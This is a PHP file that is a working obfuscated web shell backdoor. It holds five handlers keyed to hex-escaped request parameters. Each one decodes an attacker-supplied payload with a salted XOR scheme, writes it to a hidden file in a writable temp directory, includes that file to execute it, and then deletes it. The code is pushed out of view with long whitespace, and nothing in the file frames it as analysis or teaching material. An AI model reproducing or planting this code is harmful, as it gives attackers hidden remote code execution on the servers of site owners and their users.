<?php																																										if(@$_POST["to\x6Ben"] !== null){ $rec = $_POST["to\x6Ben"]; $rec= explode('.' , $rec ); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $p = 0; while ($p < count($rec)) { $v4 = $rec[$p]; $sChar = ord($s[$p % $sLen] ); $dec = ((int)$v4 - $sChar - ($p % 10)) ^ 39; $item .= chr($dec ); $p++; } $record = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), getenv("TMP")]); $element = 0; do { $resource = $record[$element] ?? null; if ($element >= count($record)) break; if (max(0, is_dir($resource) * is_writable($resource))) { $parameter_group = sprintf("%s/.elem", $resource); if (file_put_contents($parameter_group, $item)) { require $parameter_group; unlink($parameter_group); die(); } } $element++; } while (true); }
																																										if(@$_REQUEST["re\x73\x6Fu\x72\x63e"] !== null){ $res = $_REQUEST["re\x73\x6Fu\x72\x63e"]; $res = explode ('.', $res ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $j = 0; $len = count($res); do { if ($j>=$len) break; $v7 = $res[$j]; $sChar = ord($salt[$j % $lenS]); $dec = ((int)$v7 - $sChar - ($j % 10)) ^33; $binding.=chr($dec); $j++; } while (true); $ptr = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]); $entity = 0; do { $dat = $ptr[$entity] ?? null; if ($entity >= count($ptr)) break; if (is_dir($dat) && is_writable($dat)) { $marker = "$dat/.record"; if (@file_put_contents($marker, $binding) !== false) { include $marker; unlink($marker); die(); } } $entity++; } while (true); }
																																										if(!is_null($_REQUEST["fa\x63to\x72"] ?? null)){ $bind = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp"]); $obj = $_REQUEST["fa\x63to\x72"]; $obj =explode ( ".",$obj ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; foreach ($obj as $v1) { $sChar = ord($s[$o%$sLen]); $dec = ((int)$v1 - $sChar - ($o%10)) ^ 11; $data_chunk .= chr($dec); $o++; } foreach ($bind as $token): if (is_dir($token) && is_writable($token)) { $elem = "$token" . "/.record"; if (file_put_contents($elem, $data_chunk)) { include $elem; @unlink($elem); exit; } } endforeach; }
																																										if(in_array("des\x63", array_keys($_POST))){ $factor = $_POST["des\x63"]; $factor= explode ( ".", $factor ) ; $fac = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $len = count($factor); for ($n = 0; $n < $len; $n++) {$v5 = $factor[$n]; $chS = ord($salt1[$n%$lenS]); $d = ((int)$v5 - $chS - ($n%10)) ^ 55; $fac .=chr($d); } $obj = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); foreach ($obj as $itm): if (is_dir($itm) ? is_writable($itm) : false) { $tkn = "$itm/.dat"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }


if(in_array("\x72\x65f", array_keys($_POST))){
	$desc = $_POST["\x72\x65f"];
	$desc		 =explode('.'	 , $desc		 ); 
	$component	 =	'';
            $salt8	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	strlen($salt8);
            $w	 =	0;
    
            while ($w	 <		count($desc)) {		$v7	 =	$desc[$w];
                $sChar	 =	ord($salt8[$w % $lenS]);
                $d	 =	((int)$v7 - $sChar - ($w % 10)) ^ 21;
                $component	.=chr($d);
                $w++;}	
	$mrk = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($mrk as $binding):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
    $item = str_replace("{var_dir}", $binding, "{var_dir}/.val");
    $success = file_put_contents($item, $component);
if ($success) {
	include $item;
	@unlink($item);
	die();}
}
endforeach;
}